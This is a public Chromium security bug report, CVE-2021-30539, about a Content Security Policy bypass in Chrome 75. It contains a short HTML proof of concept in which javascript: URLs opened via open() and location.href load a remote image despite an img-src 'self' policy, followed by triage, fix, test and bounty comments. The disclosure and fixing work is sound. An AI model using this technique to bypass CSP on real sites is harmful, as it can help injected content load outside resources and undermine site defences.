☆ Starred by 5 users

Owner:	antoniosartori@chromium.org
CC:	mkwst@chromium.org arthu...@chromium.org antoniosartori@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>SecurityFeature>ContentSecurityPolicy
Modified:	Jun 11, 2021
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Mac
Pri:	2
Type:	Bug-Security

Reward-1000
Security_Severity-Low
Security_Impact-Stable
allpublic
reward-inprocess
Via-Wizard-Security
CVE_description-submitted
M-89
Target-78
Target-79
Target-80
Target-88
Target-81
Target-84
Target-83
Target-85
Target-86
Target-87
Target-89
external_security_report
Release-0-M91
CVE-2021-30539

Issue 971231: Chrome Content security Policy bypass
Reported by nohac...@gmail.com on Wed, Jun 5, 2019, 8:50 AM EDT

Code

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36

Steps to reproduce the problem:
Same as the issue I submitted earlier:

https://bugs.chromium.org/p/chromium/issues/detail?id=671271

I submitted this issue in 2016 , and In 62.0.3197.0, you landed the fix.
but in 75.0.3770.80 this security issue can be reproduced again.

how to reproduce:

Edit an html file like this

~~~
```
<html>
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline' 'self';img-src 'self'"/>
<body>
<button onclick="breakit1()">CSP TEST1</button>
<button onclick="breakit2()">CSP TEST2</button>
<script>
    function breakit1(){
        open("javascript:'<img src=https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png>'","_self");
    }

    function breakit2(){

        location.href="javascript:'<img src=https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png>'";
    }
</script>

</body>
</html>
```
~~~

Click the button and you will find that the image was successfully loaded.
Content-Security-Policy img-src directive is set to 'self'.

What is the expected behavior?
Content security Policy block this image

What went wrong?
remote image is loaded

Did this work before? N/A

Chrome version: 75.0.3770.80 Channel: n/a
OS Version: OS X 10.14.3
Flash Version:

Will the issue I submitted this time satisfy your bug bounty?
The issue(671271) I submitted earlier(2016) was duplicated by 756040 which submitted later (2017),and I lose my first CVE..

Comment 1 by wfh@chromium.org on Wed, Jun 5, 2019, 4:27 PM EDT Project Member

Status: Assigned (was: Unconfirmed)
Owner: mkwst@chromium.org
Labels: Security_Severity-Low Security_Impact-Stable
Components: Blink>SecurityFeature>ContentSecurityPolicy

Thanks for your report. Re: your final comment - will investigate what happened there.

Comment 2 by mmoroz@chromium.org on Mon, Jul 1, 2019, 1:51 PM EDT Project Member

Labels: M-77

Comment 3 by sheriffbot@chromium.org on Wed, Oct 23, 2019, 9:11 AM EDT Project Member

Labels: -M-77 Target-78 M-78

Comment 4 by sheriffbot@chromium.org on Wed, Dec 11, 2019, 9:12 AM EST Project Member

Labels: -M-78 Target-79 M-79

Comment 5 by sheriffbot@chromium.org on Wed, Feb 5, 2020, 10:48 AM EST Project Member

Labels: -M-79 M-80 Target-80

Comment 6 by sheriffbot on Thu, Apr 9, 2020, 12:29 PM EDT Project Member

Labels: -M-80 Target-81 M-81

Comment 7 by arthu...@chromium.org on Tue, Apr 21, 2020, 8:18 AM EDT Project Member

Cc: arthu...@chromium.org mkwst@chromium.org

~~Issue 1072710~~ has been merged into this issue.

Comment 8 by sheriffbot on Wed, May 20, 2020, 1:30 PM EDT Project Member

Labels: -M-81 M-83 Target-83

Comment 9 by sheriffbot on Thu, Jul 16, 2020, 1:34 PM EDT Project Member

Labels: -M-83 Target-84 M-84

Comment 10 by sheriffbot on Wed, Aug 26, 2020, 1:40 PM EDT Project Member

Labels: -M-84 Target-85 M-85

Comment 11 by sheriffbot on Wed, Oct 7, 2020, 1:41 PM EDT Project Member

Labels: -M-85 M-86 Target-86

Comment 12 by sheriffbot on Fri, Oct 30, 2020, 6:48 PM EDT Project Member

Labels: reward-potential

Comment 13 by sheriffbot on Wed, Nov 18, 2020, 12:25 PM EST Project Member

Labels: -M-86 M-87 Target-87

Comment 14 by sheriffbot on Wed, Jan 20, 2021, 12:25 PM EST Project Member

Labels: -M-87 Target-88 M-88

Comment 15 by adetaylor@google.com on Wed, Jan 20, 2021, 6:56 PM EST Project Member

Labels: -reward-potential external_security_report

Comment 16 by sheriffbot on Wed, Mar 3, 2021, 12:24 PM EST Project Member

Labels: -M-88 Target-89 M-89

Comment 17 by antoniosartori@chromium.org on Fri, Mar 5, 2021, 5:36 AM EST Project Member

Status: Fixed (was: Assigned)
Owner: antoniosartori@chromium.org

This is fixed by https://chromium-review.googlesource.com/c/chromium/src/+/2725520.

Regression test in https://chromium-review.googlesource.com/c/chromium/src/+/2739345.

Comment 18 by sheriffbot on Fri, Mar 5, 2021, 12:41 PM EST Project Member

Labels: reward-topanel

Comment 19 by sheriffbot on Fri, Mar 5, 2021, 1:55 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 20 by Git Watcher on Tue, Mar 9, 2021, 5:26 AM EST Project Member

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src/+/4d197f3b750643bfff2d8ea16c22554a1b0effe3

commit 4d197f3b750643bfff2d8ea16c22554a1b0effe3
Author: Antonio Sartori <antoniosartori@chromium.org>
Date: Tue Mar 09 10:25:07 2021

CSP: Add WPT for javascript URL inheritance

This CL adds a Web Platform Test checking that executing a Javascript
URL in the top frame keeps the Content Security Policies of the
document.

~~Bug: 1149272,971231~~
Change-Id: Ib696b0877d96a82f1546947e93ff0d324b1bbf94
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2739345
Commit-Queue: Antonio Sartori <antoniosartori@chromium.org>
Reviewed-by: Arthur Sonzogni <arthursonzogni@chromium.org>
Cr-Commit-Position: refs/heads/master@{#861088}

[add] https://crrev.com/4d197f3b750643bfff2d8ea16c22554a1b0effe3/third_party/blink/web_tests/external/wpt/content-security-policy/inheritance/javascript-url-open-in-main-window.html
[add] https://crrev.com/4d197f3b750643bfff2d8ea16c22554a1b0effe3/third_party/blink/web_tests/external/wpt/content-security-policy/inheritance/support/navigate-self-to-javascript.html

Comment 21 by antoniosartori@chromium.org on Thu, Mar 11, 2021, 2:37 PM EST Project Member

In comment#17 I copied the wrong CL.

This has been fixed by https://chromium-review.googlesource.com/c/chromium/src/+/2667858.

Comment 22 by amyressler@google.com on Wed, Mar 24, 2021, 3:58 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-1000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 23 by amyressler@google.com on Wed, Mar 24, 2021, 5:05 PM EDT Project Member

Hello, nohackair@! The VRP Panel has decided to award you $1000 for this report. A member of our finance team will with in touch with you soon to arrange payment. Please let me by what name or handle you would like to be credited in release notes. Thanks for reporting this issue!

Comment 24 by amyressler@google.com on Mon, Mar 29, 2021, 12:13 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 25 by amyressler@chromium.org on Mon, May 24, 2021, 11:41 AM EDT Project Member

Labels: Release-0-M91

Comment 26 by amyressler@google.com on Mon, May 24, 2021, 2:19 PM EDT Project Member

Labels: CVE-2021-30539 CVE_description-missing

Comment 27 by amyressler@chromium.org on Mon, May 24, 2021, 5:22 PM EDT Project Member

hi, nohackair@ - just checking in again to see if you would like to be credited for this issue and CVE in the release notes. If so, please let me know the name/handle you'd like us to use to credit you. Thanks!

Comment 28 by amyressler@google.com on Mon, Jun 7, 2021, 3:27 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted

Comment 29 by sheriffbot on Fri, Jun 11, 2021, 1:52 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot